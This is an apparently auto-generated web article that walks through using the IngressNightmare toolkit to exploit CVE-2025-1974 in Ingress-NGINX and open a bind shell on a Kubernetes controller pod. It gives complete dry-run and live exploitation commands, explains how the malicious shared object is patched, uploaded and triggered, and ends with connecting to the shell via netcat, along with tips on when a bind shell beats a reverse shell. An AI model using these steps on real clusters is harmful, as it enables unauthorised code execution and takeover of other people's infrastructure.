How to Generate a Bind Shell Payload with IngressNightmare: CVE-2025-1974 Exploitation Guide

Generate a bind shell payload with IngressNightmare by using the NewBindShellPayload function in nginx-ingress/payload.go, which patches the embedded danger.so binary with your specified port and switches the execution mode from MODE_CHECK_FLAG to MODE_BINDING_SH.

The IngressNightmare exploit toolkit targets the Ingress-NGINX controller vulnerability CVE-2025-1974, allowing attackers to execute arbitrary code via the ValidateAdmission webhook. When you need to establish a bind shell—where the target pod listens for incoming connections rather than connecting back to you—the toolkit provides a specialized payload generation mechanism. This guide explains how to generate bind shell payload with IngressNightmare using the command-line interface and underlying Go implementation.

Understanding the Bind Shell Payload Architecture

The bind shell payload is constructed as a malicious shared object (.so) file that the vulnerable Ingress-NGINX controller loads into its process space. Unlike a reverse shell that initiates an outbound connection, the bind shell opens a listening socket inside the compromised pod, waiting for the attacker to connect.

Port Encoding and Byte Replacement

The NewBindShellPayload function in nginx-ingress/payload.go handles the critical step of port configuration. When you specify a bind shell port (for example, 4444), the function performs two transformations:

  1. Zero-padding: The port number is left-padded with zeros to create a fixed 5-character string. Port 4444 becomes 04444, while port 99999 remains 99999.

  2. Binary patching: The function locates the placeholder string 31337 (the default marker) within the embedded danger.so binary and replaces it byte-by-byte with the zero-padded port string. This ensures the bind shell listens on your specified port when executed.

Mode Switching Mechanism

After patching the port, the payload generator switches the execution mode flag inside the binary. The embedded danger.so contains multiple execution paths controlled by internal markers:

  • MODE_CHECK_FLAG: The default verification mode (used for testing if the library loads correctly).
  • MODE_BINDING_SH: The bind shell mode that executes /bin/sh and binds it to the patched port.

The NewBindShellPayload function swaps these markers, ensuring that when the Ingress-NGINX controller loads the shared object, it executes the bind shell routine rather than the check routine.

Step-by-Step: Generate Bind Shell Payload with IngressNightmare

The IngressNightmare repository (esonhugh/ingressnightmare-cve-2025-1974-exps) provides a command-line interface that abstracts the payload generation process. You can generate and deploy the bind shell payload using specific flags.

CLI Flags and Configuration

The relevant flags for bind shell generation are defined in main.go:

  • --mode (-m): Set to bind-shell (or b for short) to select the bind shell payload type.
  • --bind-shell-port (-b): Specify the port number where the shell will listen (range: 1-65535, though internally formatted as 5 characters).

Additional required flags for the exploit:

  • --ingress-webhook-url (-i): The HTTPS endpoint of the Ingress-NGINX admission controller.
  • --upload-url (-u): The HTTP endpoint of the Ingress-NGINX controller pod used for file upload (the "bad upload" method).

Dry-Run Verification

Before executing against a live target, verify the payload generation using the --dry-run flag. This outputs the raw binary payload to stdout instead of uploading it, allowing you to inspect the size or pipe it to analysis tools.

./ingress-nightmare \
  --mode bind-shell \
  --bind-shell-port 4444 \
  --ingress-webhook-url https://ingress-nginx-controller-admission.namespace.svc:443 \
  --upload-url http://ingress-nginx-controller.namespace.svc:80 \
  --dry-run

When run with --dry-run, the tool invokes NewBindShellPayload(4444), which returns the patched .so content. You can redirect this output to a file to verify the binary structure: --dry-run > /tmp/payload.so.

Live Exploitation Example

To execute the full exploit chain and establish a bind shell on the target pod:

./ingress-nightmare \
  -i https://ingress-nginx-controller-admission.default.svc:443 \
  -u http://ingress-nginx-controller.default.svc:80 \
  -m b \
  -b 4444

Parameter breakdown:

  • -i points to the admission webhook that triggers the validation logic.
  • -u specifies the upload endpoint where the malicious .so file is placed using the "bad upload" technique.
  • -m b selects bind-shell mode (short alias for bind-shell).
  • -b 4444 configures the payload to listen on TCP port 4444.

Upon successful execution, the tool uploads the payload generated by NewBindShellPayload, probes the webhook until the library loads, and the target pod opens /bin/sh bound to 0.0.0.0:4444. You can then connect using nc <pod-ip> 4444.

Technical Implementation Details

The bind shell generation relies on specific source files within the esonhugh/ingressnightmare-cve-2025-1974-exps repository.

Payload Construction Logic

The core function NewBindShellPayload resides in nginx-ingress/payload.go (lines 74-90). This function:

  1. Accepts an integer port parameter.
  2. Formats it using fmt.Sprintf("%05s", port) to ensure 5-character width.
  3. Invokes bytes.ReplaceAll to substitute the hardcoded placeholder 31337 with the formatted port.
  4. Replaces the mode marker MODE_CHECK_FLAG with MODE_BINDING_SH to trigger the bind shell execution path.

The function returns a []byte slice containing the complete malicious shared object ready for upload.

CLI Integration

In main.go, the bind shell configuration is exposed through flag definitions (lines 78-86):

&cli.StringFlag{
    Name:    "mode",
    Aliases: []string{"m"},
    Value:   "check",
    Usage:   "Payload mode: check, bind-shell, reverse-shell, cmd",
},
&cli.IntFlag{
    Name:    "bind-shell-port",
    Aliases: []string{"b"},
    Value:   31337,
    Usage:   "Port for bind shell (used with -m bind-shell)",
}

The main execution logic (lines 11-18) switches on the mode flag, calling NewBindShellPayload when mode == "bind-shell" or "b".

Upload and Trigger Mechanism

The BadUploader function in nginx-ingress/exploit.go (lines 52-85) handles the actual delivery:

  1. Constructs a multipart form-data request containing the generated .so payload.
  2. POSTs the request to the --upload-url endpoint (exploiting the "bad upload" vulnerability).
  3. Returns the path where the file was stored on the target.

The main exploit loop then repeatedly sends validation requests to the --ingress-webhook-url, causing the Ingress-NGINX controller to load the uploaded shared object and execute the bind shell.

Summary

  • IngressNightmare generates bind shell payloads by patching the embedded danger.so binary with a specified port and switching the execution mode from MODE_CHECK_FLAG to MODE_BINDING_SH.
  • Use the --mode bind-shell (or -m b) flag combined with --bind-shell-port (or -b) to configure the payload via the CLI.
  • The NewBindShellPayload function in nginx-ingress/payload.go handles zero-padding the port to 5 characters and replacing the placeholder 31337 in the binary.
  • The BadUploader in nginx-ingress/exploit.go delivers the payload to the target pod, after which repeated webhook probes trigger the library load and bind shell execution.

Frequently Asked Questions

What port range can I use for the bind shell payload?

IngressNightmare accepts any valid TCP port number from 1 to 65535. The NewBindShellPayload function formats your input using fmt.Sprintf("%05s", port), which left-pads the number with zeros to ensure exactly 5 characters (e.g., port 80 becomes 00080). This fixed-width string then replaces the placeholder 31337 in the embedded danger.so binary.

How does the bind shell mode differ from reverse shell mode?

The bind shell mode configures the malicious .so library to execute /bin/sh and attach it to a listening socket on the target pod, whereas reverse shell mode causes the pod to initiate an outbound connection to an attacker-controlled listener. In nginx-ingress/payload.go, bind shell mode sets the internal marker to MODE_BINDING_SH, while reverse shell uses MODE_REVERSE_SH. Use bind shell when the target pod cannot reach your external IP due to egress filtering, or when you want a persistent listener independent of your network location.

Can I use a custom compiled shared object instead of the embedded one?

Yes, if you encounter architecture mismatches or "exec format error" messages, you can compile a custom danger.so for the target platform and supply it via the --so flag. The NewBindShellPayload function will still apply the same byte-replacement logic to your custom binary—patching the 31337 placeholder with your zero-padded port and switching the mode marker to MODE_BINDING_SH—before the BadUploader in nginx-ingress/exploit.go delivers it to the target.

Why does the exploit require both a webhook URL and an upload URL?

IngressNightmare exploits a two-stage vulnerability in Ingress-NGINX: first, it uploads the malicious .so file to a writable directory within the controller pod using the "bad upload" method (targeting the --upload-url), and second, it triggers the ValidateAdmission webhook (--ingress-webhook-url) to load that file as a shared library. The webhook runs with elevated privileges and loads the uploaded path, executing your bind shell payload. Without both endpoints, the library cannot be placed on the filesystem or loaded into memory.

Have a question about this repo?

These articles cover the highlights, but your codebase questions are specific. Give your agent direct access to the source. Share this with your agent to get started:

Share the following with your agent to get started:
curl -s "https://instagit.com/install.md"

Works with
Claude Codex Cursor VS Code OpenClaw Any MCP Client

Maintain an open-source project? Get it listed too →